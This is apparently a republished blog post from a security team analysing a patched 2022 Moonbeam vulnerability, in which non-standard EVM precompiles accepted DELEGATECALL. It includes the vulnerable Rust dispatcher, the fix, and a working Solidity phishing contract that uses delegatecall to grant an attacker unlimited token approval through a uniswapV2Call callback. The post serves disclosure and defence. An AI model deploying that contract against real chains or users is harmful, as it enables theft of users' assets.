[ad_1]
Moonbeam received a critical vulnerability in precompiled contracts in May 2022 from white hat hacker pwning.eth, which might allow attackers to arbitrarily transfer any users’ assets.
The possible loss at that moment due to the vulnerability might be $100,000,000.
Calls to non-standard Ethereum precompiles are where the vulnerability lies. These are addresses that grant the EVM access to some of Moonbeam’s key features (such as our XC-20, staking, and democracy pallets) via smart contracts but do not present in the base EVM.
A rogue smart contract could use a DELEGATECALL to callback into another party’s precompile storage.
Since they would have to send a transaction to the malicious smart contract, this won’t affect most users. The difficulty arises when other smart contracts permit arbitrary calls to other smart contracts, though.
This is the case, for instance, with some smart contracts that permit callbacks. In those circumstances, a malicious user may instruct a DEX to make a call to a malicious smart contract, which would then be able to access the precompiles while posing as the DEX and potentially transfer its balance to any address.
Harbor’s team of security researchers will demonstrate the vulnerability’s exploit principle.
So, what exactly is a precompiled contract?
A contract code is parsed into instructions and executed one by one in EVM. EVM will check the execution circumstances, that is, whether the gas fee is sufficient, throughout the execution of each instruction. It will throw an error if the gas supply is insufficient.
In order to execute transactions, EVM stores data in a stack rather than registers. Because every read and write operation must begin at the top of the stack, it has extremely low operating efficiency.
A complex procedure could take a long time to complete if a running check is necessary. Many intricate processes are required in a blockchain, such as hash and encryption algorithms, making it hard for the EVM to do many of the tasks.
While EVM is not optimally suited to perform some library functions (used for sophisticated operations like encryption and hashing), the precompiled contract provides a workaround. Complex calculations with simple logic, frequently-called functions, and contracts with fixed logic are its primary applications.
An EIP proposal is needed for the rollout of precompiled contracts, and if approved, the proposal will be synced with all clients. Ethereum supports some precompiled contracts, such as ercecover() (recover the address associated with the public key from elliptic curve signature, address 0x1), sha256hash() (Sha256Hash calculation), and ripemd160hash() (Ripemd160Hash calculation).
The time and gas cost of calling these functions is drastically reduced since they are assigned a constant gas cost instead of having their gas costs calculated based on the bytecode being called.
The rapid execution time is a result of the fact that the precompiled contract is typically implemented in client-side code without the need of EVM.
Moonbeam’s pre-compiled contract’s security flaw
For processing balance’s native tokens, Moonbeam’s Balance ERC-20 precompile offers an ERC-20 interface. Precompiled contracts can be called by the contract using the address.call method, where the precompiled address is used as the address. The previous Moonbeam codes for calling precompiled contracts are listed here.
fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
match handle.code_address() {
// Ethereum precompiles :
a if a == hash(1) => Some(ECRecover::execute(handle)),
a if a == hash(2) => Some(Sha256::execute(handle)),
a if a == hash(3) => Some(Ripemd160::execute(handle)),
a if a == hash(5) => Some(Modexp::execute(handle)),
a if a == hash(4) => Some(Identity::execute(handle)),
a if a == hash(6) => Some(Bn128Add::execute(handle)),
a if a == hash(7) => Some(Bn128Mul::execute(handle)),
a if a == hash(8) => Some(Bn128Pairing::execute(handle)),
a if a == hash(9) => Some(Blake2F::execute(handle)),
a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)),
a if a == hash(1025) => Some(Dispatch::<R>::execute(handle)),
a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)),
a if a == hash(2048) => Some(ParachainStakingWrapper::<R>::execute(handle)),
a if a == hash(2049) => Some(CrowdloanRewardsWrapper::<R>::execute(handle)),
a if a == hash(2050) => Some(
Erc20BalancesPrecompile::<R, NativeErc20Metadata>::execute(handle),
),
a if a == hash(2051) => Some(DemocracyWrapper::<R>::execute(handle)),
a if a == hash(2052) => Some(XtokensWrapper::<R>::execute(handle)),
a if a == hash(2053) => Some(
RelayEncoderWrapper::<R, WestendEncoder>::execute(handle)
),
a if a == hash(2054) => Some(XcmTransactorWrapper::<R>::execute(handle)),
a if a == hash(2055) => Some(AuthorMappingWrapper::<R>::execute(handle)),
a if a == hash(2056) => Some(BatchPrecompile::<R>::execute(handle)),
// If the address matches asset prefix, the we route through the asset precompile set
a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
Erc20AssetsPrecompileSet::<R, IsForeign, ForeignAssetInstance>::new()
.execute(handle)
}
// If the address matches asset prefix, the we route through the asset precompile set
a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
Erc20AssetsPrecompileSet::<R, IsLocal, LocalAssetInstance>::new().execute(handle)
}
_ => None,
}
}
The moonbase precompiled contract set’s execution method (fn execute()), implemented in Rust, is seen in the code above.
The input data will be transferred to various precompiled contracts for processing after this method matches the address of the precompiled contract to be called.
The execution method is passed in a handle (precompiled interaction handle) that contains pertinent call(call_data) content and transaction context data.
As a result, the method 0x000…00802.call(“faction(type)”, parameter) (0x802=2050) must be used to call the appropriate ERC20 token precompiled contract functions when calling the ERC20 token precompiled contract.
However, the moonbase precompiled contract set has a flaw in its execution in that it does not verify the calling method of other contracts. There will be issues if the precompiled contracts are called with delegatecall(call_data) rather than call(call_data).
Let’s examine the distinction between calling with call(call_data) and utilising delegatecall(call_data):
The execution environment is in contract B, while the caller information (msg), as shown in the image below, is in contract A when using an EOA account to utilise address.call(call_data) in contract A to call the function of another contract B.
The execution environment for delegatecall is in contract A, the caller information (message) is EOA, and the stored data in contract B cannot be changed, as depicted in the image below.
EOA information and contract B cannot be linked through contract A regardless of the calling method, making calls between contracts secure.
As a result, the calling function is not checked by the moonbase precompiled contract set’s execution method (fn execute()).
The necessary methods will then be called by precompiled contracts when delegatecall is used to invoke them, and they will also be executed and stored in precompiled contracts’ storage.
That is, as illustrated in the image below when an EOA account contacts a malicious contract A created by an attacker, A calls the precompiled contract B via the delegatecall method. In order to carry out a phishing attack, this will simultaneously write the called data into A and B.
Phishing attack methodology using the vulnerability
The following phishing contract can be used by an attacker to trick users into calling the phishing function uniswapV2Call, which then calls the stealLater function, which implements delegatecall(token_approve), once again.
The attack contract calls the token contract’s approve function (asset=0x000…00802) in accordance with the aforementioned rules. When a user calls uniswapV2Call, the authorization is simultaneously recorded in the storage of the precompiled contract and the phishing contract. To steal users’ tokens, the attacker merely needs to invoke the precompiled contract’s transferfrom function.
pragma solidity >=0.8.0;contract ExploitFlashSwap {
address asset;
address beneficiary;
constructor(address _asset, address _beneficiary) {
asset = _asset;
beneficiary = _beneficiary;
}
function stealLater() external {
(bool success,) = asset.delegatecall(
abi.encodeWithSignature(
"approve(address,uint256)",
beneficiary,
(uint256)(int256(-1))
)
);
require(success,"approve");
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
stealLater();
}
}
How to fix this glitch?
In order to ensure that only the call() function can be used for the precompiled addresses after 0x000…00009, Moonbeam’s developers corrected the bug by examining if the EVM’s address matches the precompiled address in the execution method (fn execute()) of moonbase’s precompiled contract set. These are the changes to the code:
fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
// Filter known precompile addresses except Ethereum officials
if self.is_precompile(handle.code_address())
&& handle.code_address() > hash(9)
&& handle.code_address() != handle.context().address
{
return Some(Err(revert(
"cannot be called with DELEGATECALL or CALLCODE",
)));
}match handle.code_address() {
......
Security Advice
The Harbor security team advises developers to take into account the distinction between delegatecall and call during the development process in order to avoid this problem.
Developers must carefully consider the application circumstances and underlying concepts of the called contract and do strict code testing if the called contract may be called through delegatecall.
Before a project is launched, it is advised to look for a reputable blockchain audit business to carry out a thorough security assessment.
[ad_2]
Source link